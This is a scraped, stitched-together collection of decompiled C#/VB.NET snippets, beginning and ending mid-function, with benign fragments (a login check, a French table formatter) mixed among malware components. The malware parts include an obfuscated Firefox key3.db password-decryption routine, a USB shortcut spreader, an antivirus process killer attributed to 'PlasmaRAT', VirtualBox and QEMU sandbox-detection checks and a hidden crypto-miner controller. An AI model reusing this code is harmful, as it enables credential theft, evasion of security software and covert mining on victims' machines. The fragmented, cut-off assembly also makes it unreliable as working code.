							byte[] hjn;
							jox.hjz hjz2 = hjl.hjm(hjn);
							byte[] hlr = hjz2.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
							byte[] hlr2 = hjz2.hlp[0].hlp[1].hlr;
							num3 = (num2 * 1996369276u ^ 2536377065u);
							continue;
						}
						case 17u:
							goto IL_104;
						case 18u:
							result = jox.hls.jly;
							num3 = (num2 * 685934684u ^ 3095256988u);
							continue;
						case 19u:
							if (!jwq.kry(<Module>.smethod_strings_decryptor(290256 -> "nssPrivate"))))
							{
								num3 = (num2 * 3855035416u ^ 1770445472u);
								continue;
							}
							goto IL_C7;
						}
						break;
						IL_C7:
						bytes = Encoding.Default.GetBytes(jwq.kuv(1, "a11"));
						num3 = 117202509u;
						continue;
						IL_19D:
						jox.hls.jly[num4] = Conversions.ToByte(NewLateBinding.LateIndexGet(instance, new object[]
						{
							num4
						}, null));
						num3 = 374730853u;
						continue;
						IL_206:
						hjl = new jox.hjl();
						num3 = 1330577419u;
					}
					return result;
					IL_42D:
					return null;
					IL_104:
					num3 = 1369271435u;
					goto IL_3B1;
					IL_419:
					hnp = new byte[0];
					num3 = 238294990u;
					goto IL_3B1;
				}
				catch (Exception ex2)
				{
					byte[] result = null;
					for (;;)
					{
						IL_47F:
						uint num5 = 1105972921u;
						for (;;)
						{
							uint num2;
							switch ((num2 = (num5 ^ 864882355u)) % 3u)
							{
							case 1u:
								num5 = (num2 * 2216605151u ^ 2609150475u);
								continue;
							case 2u:
								goto IL_47F;
							}
							goto Block_14;
						}
					}
					Block_14:
					return result;
				}
			}
			if (File.Exists(hov + <Module>.smethod_strings_decryptor(289920 -> "key3.db"))))
			{
				try
				{
					string fileName = hov + <Module>.smethod_strings_decryptor(289896 -> "key3.db"));
					byte[] hnp2 = new byte[0];
					jox.guz guz = new jox.guz(fileName);
					string text;
					try
					{
						List<KeyValuePair<string, string>>.Enumerator enumerator = guz.gqz.GetEnumerator();
						for (;;)
						{
							IL_6B8:
							uint num6 = 140317870u;
							for (;;)
							{
								uint num2;
								object instance2;
								switch ((num2 = (num6 ^ 864882355u)) % 9u)
								{
								case 0u:
									goto IL_5B8;
								case 1u:
									num6 = (num2 * 1980930708u ^ 4279062769u);
									continue;
								case 2u:
									goto IL_573;
								case 3u:
									goto IL_5A5;
								case 4u:
									text = Conversions.ToString(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(290120 -> "Value")), new object[0], null, null, null));
									num6 = (num2 * 954236485u ^ 3232431402u);
									continue;
								case 5u:
									hnp2 = jox.hls.hlt(Conversions.ToString(NewLateBinding.LateGet(NewLateBinding.LateGet(instance2, null, <Module>.smethod_strings_decryptor(289656 -> "Value")), new object[0], null, null, null), null, <Module>.smethod_strings_decryptor(289728 -> "Replace")), new object[]
									{
										"-",
										""
									}, null, null, null)));
									num6 = (num2 * 3518094976u ^ 4163794741u);
									continue;
								case 7u:
									if (Conversions.ToBoolean(Operators.AndObject(Operators.AndObject(Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289968 -> "global-salt")), false), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(289944 -> "Version")), false)), Operators.CompareObjectNotEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290016 -> "password-check")), false))))
									{
										num6 = (num2 * 1792523313u ^ 2652427638u);
										continue;
									}
									goto IL_573;
								case 8u:
									goto IL_6B8;
								}
								goto Block_23;
								IL_573:
								if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(instance2, null, "Key", new object[0], null, null, null), <Module>.smethod_strings_decryptor(290064 -> "global-salt")), false))
								{
									num6 = 125452241u;
									continue;
								}
								IL_5A5:
								if (!enumerator.MoveNext())
								{
									num6 = 401585206u;
									continue;
								}
								IL_5B8:
								instance2 = enumerator.Current;
								num6 = 274233109u;
							}
						}
						Block_23:;
					}
					finally
					{
						List<KeyValuePair<string, string>>.Enumerator enumerator;
						((IDisposable)enumerator).Dispose();
					}
					jox.hjl hjl2 = new jox.hjl();
					for (;;)
					{
						IL_8FC:
						uint num7 = 1183966534u;
						for (;;)
						{
							uint num2;
							jox.hjz hjz5;
							switch ((num2 = (num7 ^ 864882355u)) % 10u)
							{
							case 0u:
							{
								byte[] hlr5;
								jox.hjz hjz3;
								object obj = jox.hls.hno(hnp2, Encoding.ASCII.GetBytes(""), hlr5, hjz3.hlp[0].hlp[1].hlr);
								num7 = (num2 * 2480484875u ^ 3271456801u);
								continue;
							}
							case 1u:
								goto IL_818;
							case 2u:
							{
								object obj;
								jox.hjz hjz4 = hjl2.hjm((byte[])obj);
								num7 = (num2 * 2826923615u ^ 243909657u);
								continue;
							}
							case 3u:
								num7 = (num2 * 2372407598u ^ 2679081814u);
								continue;
							case 4u:
								if (hjz5.hlp[0].hlp[3].hlr.Length > 24)
								{
									num7 = (num2 * 38161444u ^ 693730904u);
									continue;
								}
								goto IL_818;
							case 5u:
							{
								jox.hjz hjz3 = hjl2.hjm(jox.hls.hlt(text.Replace("-", "")));
								byte[] hlr5 = hjz3.hlp[0].hlp[0].hlp[1].hlp[0].hlr;
								num7 = (num2 * 2844875169u ^ 1819095484u);
								continue;
							}
							case 6u:
								goto IL_8FC;
							case 8u:
							{
								jox.hjz hjz4;
								hjz5 = hjl2.hjm(hjz4.hlp[0].hlp[2].hlr);
								num7 = (num2 * 674668373u ^ 779619615u);
								continue;
							}
							case 9u:
								Array.Copy(hjz5.hlp[0].hlp[3].hlr, checked(hjz5.hlp[0].hlp[3].hlr.Length - 24), jox.hls.jly, 0, 24);
								num7 = (num2 * 555175777u ^ 3259694769u);
								continue;
							}
							goto Block_18;
							IL_818:
							jox.hls.jly = hjz5.hlp[0].hlp[3].hlr;
							num7 = 1859690296u;
						}
					}
					Block_18:
					return jox.hls.jly;
				}
				catch (Exception ex3)
				{
				}
				return null;
			}
			return null;
		}
Esempio n. 21
0
        // Token: 0x06000893 RID: 2195 RVA: 0x0004314C File Offset: 0x0004134C
        public void remove()
        {
            this.TT.SelectionStart = this.TT.TextLength;
            this.TT.AppendText("==========================================================\r\nRemove started " + DateTime.Now.ToString() + "\r\n==========================================================\r\n");
            this.ChProgressbar1.Value = 0;
            this.Lv1.Items.Clear();
            this.ChProgressbar1.Maximum = this.valueNames.Length;
            string[] array = this.valueNames;
            checked
            {
                for (int i = 0; i < array.Length; i++)
                {
                    string        text          = array[i];
                    CHProgressbar chProgressbar = this.ChProgressbar1;
                    chProgressbar.Value++;
                    new ListViewItem();
                    new ListViewItem();
                    int num = Strings.InStr(Conversions.ToString(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text)), "..", CompareMethod.Binary);
                    if (num != 0)
                    {
                        object objectValue = RuntimeHelpers.GetObjectValue(Registry.CurrentUser.OpenSubKey(this.keyName).GetValue(text));
                        objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                        {
                            "\"",
                            ""
                        }, null, null, null));
                        objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                        {
                            " ",
                            ""
                        }, null, null, null));
                        objectValue = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objectValue, null, "replace", new object[]
                        {
                            "..",
                            ""
                        }, null, null, null));
                        FileInfo fileInfo = new FileInfo(Conversions.ToString(objectValue));
                        try
                        {
                            if (this.bacup)
                            {
                                File.Copy(this.startup + "\\" + text + ".exe", Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, text), ".exe.dup")));
                                File.Copy(Conversions.ToString(objectValue), Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(this.folder, fileInfo.Name), ".exe.dup")));
                            }
                            goto IL_491;
                        }
                        catch (Exception expr_20E)
                        {
                            ProjectData.SetProjectError(expr_20E);
                            ProjectData.ClearProjectError();
                            goto IL_491;
                        }
                        goto IL_21F;
IL_25F:
                        if (File.Exists(this.startup + "\\" + text + ".exe"))
                        {
                            Process[] processesByName = Process.GetProcessesByName(text);
                            for (int j = 0; j < processesByName.Length; j++)
                            {
                                Process process = processesByName[j];
                                process.Kill();
                            }
                        }
                        Thread.Sleep(500);
                        if (File.Exists(fileInfo.FullName))
                        {
                            try
                            {
                                File.Delete(Conversions.ToString(objectValue));
                                this.TT.AppendText(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject("- Remove file succeedd (", objectValue), ")"), "\r\n")));
                            }
                            catch (Exception expr_2FE)
                            {
                                ProjectData.SetProjectError(expr_2FE);
                                Exception ex = expr_2FE;
                                this.TT.AppendText("- Remove file succeedd error (" + ex.Message + ")\r\n");
                                ProjectData.ClearProjectError();
                            }
                        }
                        if (File.Exists(this.startup + "\\" + text + ".exe"))
                        {
                            try
                            {
                                File.Delete(this.startup + "\\" + text + ".exe");
                                this.TT.AppendText(string.Concat(new string[]
                                {
                                    "- Remove file succeedd (",
                                    this.startup,
                                    "\\",
                                    text,
                                    ".exe)\r\n"
                                }));
                            }
                            catch (Exception expr_3B0)
                            {
                                ProjectData.SetProjectError(expr_3B0);
                                Exception ex2 = expr_3B0;
                                this.TT.AppendText("- Remove file error (" + ex2.Message + ")\r\n");
                                ProjectData.ClearProjectError();
                            }
                        }
                        try
                        {
                            MyProject.Computer.Registry.CurrentUser.OpenSubKey(this.keyName, true).DeleteValue(text, false);
                            this.TT.AppendText(string.Concat(new string[]
                            {
                                "- Remove RegKey succeedd (",
                                Registry.CurrentUser.OpenSubKey(this.keyName).ToString(),
                                "\\",
                                text,
                                ")\r\n"
                            }));
                        }
                        catch (Exception expr_458)
                        {
                            ProjectData.SetProjectError(expr_458);
                            Exception ex3 = expr_458;
                            this.TT.AppendText("- Remove RegKey error (" + ex3.Message + ")\r\n");
                            ProjectData.ClearProjectError();
                        }
                        goto IL_488;
IL_491:
                        if (!File.Exists(fileInfo.FullName))
                        {
                            goto IL_25F;
                        }
IL_21F:
                        Process[] processesByName2 = Process.GetProcessesByName(fileInfo.Name.Replace(".exe", ""));
                        for (int k = 0; k < processesByName2.Length; k++)
                        {
                            Process process2 = processesByName2[k];
                            process2.Kill();
                        }
                        goto IL_25F;
                    }
                    IL_488 :;
                }
                this.TT.ScrollToCaret();
                ima.F.sl.Text = "Remove server(s) succeeded..";
                this.Lv1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                if (this.Lv1.Items.Count == 0)
                {
                    this.Button1.Text = "Scan..";
                }
                else if (this.Lv1.Items.Count == 1)
                {
                    this.Button1.Text = "Remove";
                }
                else
                {
                    this.Button1.Text = "Remove all";
                }
            }
        }
Esempio n. 22
0
 private static void CreateShortCut(string TargetName, string ShortCutPath, string ShortCutName, string Icon)
 {
     try
     {
         USBBOOT.ObjectShell = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(Interaction.CreateObject("WScript.Shell", ""));
         USBBOOT.ObjectLink  = System.Runtime.CompilerServices.RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(USBBOOT.ObjectShell, null, "CreateShortcut", new object[] { ShortCutPath + "\\" + ShortCutName + ".lnk" }, null, null, null));
         NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "TargetPath", new object[] { ShortCutPath + "\\" + System.Diagnostics.Process.GetCurrentProcess().MainModule.ModuleName }, null, null);
         NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "WindowStyle", new object[] { 1 }, null, null);
         if (Icon == null)
         {
             NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "Arguments", new object[] { " " + ShortCutPath + "\\" + TargetName }, null, null);
             NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "IconLocation", new object[] { "%SystemRoot%\\system32\\SHELL32.dll,3" }, null, null);
         }
         else
         {
             NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "Arguments", new object[] { " " + ShortCutPath + "\\" + TargetName }, null, null);
             NewLateBinding.LateSet(USBBOOT.ObjectLink, null, "IconLocation", new object[] { Icon }, null, null);
         }
         NewLateBinding.LateCall(USBBOOT.ObjectLink, null, "Save", new object[0], null, null, null, true);
     }
     catch
     {
     }
 }
Esempio n. 23
0
        protected bool UsuarioLogado()
        {
            string IPUsuario = this.Context.Request.UserHostAddress;

            string[] arrayXPTO = this.Application.AllKeys;
            for (int i = 0; i < arrayXPTO.Length; i++)
            {
                object msg = arrayXPTO[i];
                if (Operators.ConditionalCompareObjectNotEqual(msg, "CONTADOR", false) && ((((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Usuario == this.txtUsuario.Text.ToUpper()) & (((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Cliente == this.txtCliente.Text.ToUpper())))
                {
                    this.ClientScript.RegisterClientScriptBlock(this.Page.GetType(), "alerta", "<script>alert('O Usu\x00e1rio com o IP " + ((Logado)NewLateBinding.LateGet(this.Application, null, "Item", new object[] { RuntimeHelpers.GetObjectValue(msg) }, null, null, null)).Ip + " est\x00e1 logado com esse Usu\x00e1rio/Senha. Entre em Contato com a equipe UNITFOUR!');</script>");
                    return(true);
                }
            }
            this.AddUsuario();
            return(false);
        }
Esempio n. 24
0
 // Token: 0x0600004F RID: 79 RVA: 0x000055B0 File Offset: 0x000037B0
 public static void AVProcSearcher()
 {
     try
     {
         string value = "Program Files";
         try
         {
             foreach (object obj in ((IEnumerable)NewLateBinding.LateGet(Interaction.GetObject("winmgmts:", null), null, "ExecQuery", new object[]
             {
                 "Select * from Win32_Process"
             }, null, null, null)))
             {
                 object objectValue = RuntimeHelpers.GetObjectValue(obj);
                 if ((NewLateBinding.LateGet(objectValue, null, "ExecutablePath", new object[0], null, null, null).ToString().Contains(value) | NewLateBinding.LateGet(objectValue, null, "ExecutablePath", new object[0], null, null, null).ToString().Contains("ProgramData")) && !NewLateBinding.LateGet(objectValue, null, "executablepath", new object[0], null, null, null).ToString().Contains(PlasmaRAT.InstallationOfEverything) && Operators.CompareString(NewLateBinding.LateGet(objectValue, null, "executablepath", new object[0], null, null, null).ToString(), Application.ExecutablePath, false) != 0)
                 {
                     try
                     {
                         try
                         {
                             if (AVKill.CheckProcess(Conversions.ToString(NewLateBinding.LateGet(objectValue, null, "ExecutablePath", new object[0], null, null, null))))
                             {
                                 Process.GetProcessById(Conversions.ToInteger(NewLateBinding.LateGet(objectValue, null, "ProcessID", new object[0], null, null, null))).Kill();
                             }
                         }
                         catch (Exception ex)
                         {
                         }
                     }
                     catch (Exception ex2)
                     {
                     }
                 }
             }
         }
         finally
         {
             IEnumerator enumerator;
             if (enumerator is IDisposable)
             {
                 (enumerator as IDisposable).Dispose();
             }
         }
     }
     catch (Exception ex3)
     {
     }
 }
Esempio n. 25
0
 public static void SendToAllClientMapid(int _Id, string packet)
 {
     try
     {
         IEnumerator enumerator = Server.ListView_Client.Items.GetEnumerator();
         while (enumerator.MoveNext())
         {
             ListViewItem listViewItem = (ListViewItem)enumerator.Current;
             try
             {
                 Client client = (Client)listViewItem.Tag;
                 if (client._socket.Connected && Conversions.ToBoolean(Operators.AndObject(client._My_Id != _Id, Operators.CompareObjectEqual(client._My_MapId, NewLateBinding.LateGet(Server.ListView_Client.Items[_Id.ToString()].Tag, null, "_My_MapId", new object[0], null, null, null), false))))
                 {
                     byte[] array = Class5.smethod_5(Class5.smethod_4(packet));
                     if (client._socket.Connected)
                     {
                         client._socket.Send(array, 0, array.Length, SocketFlags.None);
                     }
                 }
             }
             catch (Exception expr_C8)
             {
                 ProjectData.SetProjectError(expr_C8);
                 ProjectData.ClearProjectError();
             }
         }
     }
     finally
     {
     }
 }
Esempio n. 26
0
 private bool QUEMU()
 {
     return(Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "QEMU" }, null, null, null)) || Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\Description\\System", "SystemBiosVersion"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "QEMU" }, null, null, null)));
 }
Esempio n. 27
0
 private void Console_Timer_QuickBoot_Click(object sender, EventArgs e)
 {
     this.tmrTimer.SetTime(Conversions.ToString(0), Conversions.ToString(Operators.MultiplyObject(Operators.AddObject(NewLateBinding.LateGet(NewLateBinding.LateGet(sender, null, "Parent", new object[0], null, null, null), null, "Index", new object[0], null, null, null), 1), 30)));
 }
Esempio n. 28
0
 private bool VBOX()
 {
     return(Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\DEVICEMAP\\Scsi\\Scsi Port 0\\Scsi Bus 0\\Target Id 0\\Logical Unit Id 0", "Identifier"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VBOX" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\Description\\System", "SystemBiosVersion"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VBOX" }, null, null, null)) || (Conversions.ToBoolean(NewLateBinding.LateGet(NewLateBinding.LateGet(MyProject.Computer.Registry.LocalMachine.GetValue(@"HARDWARE\\Description\\System", "VideoBiosVersion"), null, "ToUpper", new object[0], null, null, null), null, "Contains", new object[] { "VIRTUALBOX" }, null, null, null)) || Operators.ConditionalCompareObjectEqual(MyProject.Computer.Registry.LocalMachine.GetValue(@"SOFTWARE\\Oracle\\VirtualBox Guest Additions", ""), "noValueButYesKey", false))));
 }
Esempio n. 29
0
 private void formatdgv(object dgv2)
 {
     if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 0, false))
     {
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             0
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Fournisseur"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             1
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Réf. Article"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             2
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Lib. Article"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             3
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Qté"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             4
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Prix U."
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             5
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Date entrée"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             6
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Stock avant"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             7
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Stock après"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             8
         }, null, null, null), null, "HeaderCell", new object[0], null, null, null), null, "Value", new object[1]
         {
             "Type entrée"
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             0
         }, null, null, null), null, "Width", new object[1]
         {
             120
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             1
         }, null, null, null), null, "Width", new object[1]
         {
             140
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             2
         }, null, null, null), null, "Width", new object[1]
         {
             160
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             3
         }, null, null, null), null, "Width", new object[1]
         {
             100
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             4
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             5
         }, null, null, null), null, "Width", new object[1]
         {
             120
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             6
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             7
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         NewLateBinding.LateSetComplex(NewLateBinding.LateGet(dgv2, null, "Columns", new object[1]
         {
             8
         }, null, null, null), null, "Width", new object[1]
         {
             130
         }, null, null, false, true);
         object obj = null;
         int    num = Conversions.ToInteger(Operators.SubtractObject(NewLateBinding.LateGet(NewLateBinding.LateGet(dgv2, null, "Rows", new object[0], null, null, null), null, "Count", new object[0], null, null, null), 1));
         for (int i = 0; i <= num; i = checked (i + 1))
         {
             if (i % 2 == 1)
             {
                 object[] obj2 = new object[1]
                 {
                     i
                 };
                 object[] array = obj2;
                 bool[]   obj3  = new bool[1]
                 {
                     true
                 };
                 bool[] array2   = obj3;
                 object instance = NewLateBinding.LateGet(dgv2, null, "Rows", obj2, null, null, obj3);
                 if (array2[0])
                 {
                     i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int));
                 }
                 NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1]
                 {
                     Color.LightBlue
                 }, null, null, false, true);
             }
             else
             {
                 object[] obj4 = new object[1]
                 {
                     i
                 };
                 object[] array = obj4;
                 bool[]   obj5  = new bool[1]
                 {
                     true
                 };
                 bool[] array2   = obj5;
                 object instance = NewLateBinding.LateGet(dgv2, null, "Rows", obj4, null, null, obj5);
                 if (array2[0])
                 {
                     i = (int)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array[0]), typeof(int));
                 }
                 NewLateBinding.LateSetComplex(NewLateBinding.LateGet(instance, null, "DefaultCellStyle", new object[0], null, null, null), null, "BackColor", new object[1]
                 {
                     Color.White
                 }, null, null, false, true);
             }
         }
     }
 }
 // Token: 0x0600008F RID: 143 RVA: 0x0000A178 File Offset: 0x00008378
 public static void ManageMiner()
 {
     try
     {
         if (File.Exists(HandleMiner.Minersettings))
         {
             string text     = File.ReadAllText(HandleMiner.Minersettings);
             object instance = text.Split(new char[]
             {
                 '|'
             });
             if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet(instance, new object[]
             {
                 0
             }, null), "1", false))
             {
                 object left = NewLateBinding.LateIndexGet(instance, new object[]
                 {
                     1
                 }, null);
                 if (Operators.ConditionalCompareObjectEqual(left, "0", false))
                 {
                     object left2 = NewLateBinding.LateIndexGet(instance, new object[]
                     {
                         2
                     }, null);
                     if (Operators.ConditionalCompareObjectEqual(left2, "0", false))
                     {
                         if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[]
                         {
                             6
                         }, null), null, "Length", new object[0], null, null, null), 1, false))
                         {
                             object left3 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left3, "0", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left3, "1", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                         }
                         else
                         {
                             object left4 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left4, "0", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left4, "1", false))
                             {
                                 HandleMiner.LTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                             }
                         }
                     }
                     else if (Operators.ConditionalCompareObjectEqual(left2, "1", false))
                     {
                         if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[]
                         {
                             6
                         }, null), null, "Length", new object[0], null, null, null), 1, false))
                         {
                             object left5 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left5, "0", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left5, "1", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     6
                                 }, null)));
                             }
                         }
                         else
                         {
                             object left6 = NewLateBinding.LateIndexGet(instance, new object[]
                             {
                                 7
                             }, null);
                             if (Operators.ConditionalCompareObjectEqual(left6, "0", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), false, "");
                             }
                             else if (Operators.ConditionalCompareObjectEqual(left6, "1", false))
                             {
                                 HandleMiner.BTCCPU(Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     3
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     4
                                 }, null)), Conversions.ToString(NewLateBinding.LateIndexGet(instance, new object[]
                                 {
                                     5
                                 }, null)), true, "");
                             }
                         }
                     }
                 }
                 else if (Operators.ConditionalCompareObjectEqual(left, "1", false))
                 {
                     object left7 = NewLateBinding.LateIndexGet(instance, new object[]
                     {
                         2
                     }, null);
                     if (Operators.ConditionalCompareObjectEqual(left7, "0", false))
                     {
                         if (Operators.ConditionalCompareObjectGreater(NewLateBinding.LateGet(NewLateBinding.LateIndexGet(instance, new object[]
                         {
                             6
